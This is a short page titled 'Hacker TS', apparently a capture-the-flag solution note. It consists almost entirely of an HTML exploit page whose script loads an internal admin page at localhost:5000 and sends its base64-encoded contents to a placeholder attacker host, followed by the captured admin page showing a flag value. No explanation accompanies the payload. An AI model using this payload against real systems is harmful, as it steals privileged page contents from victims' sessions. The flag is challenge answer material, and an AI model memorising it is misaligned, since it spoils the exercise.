Hacker TS

Last updated
<html>
<body>
<script>
function reqListener () {
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://ATTACKER_URL/" + btoa(this.responseText), false);
exfil.send();
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://localhost:5000/admin");
oReq.send();
</script>
</body>
</html><!-- Page Content -->
<div class="container">
<div class="alert alert-success mt-5">
Hi admin! here is your flag:
<strong>flag{461e2452088eb397b6138a5934af6231}</strong>
</div>
</div>
<!-- /.container -->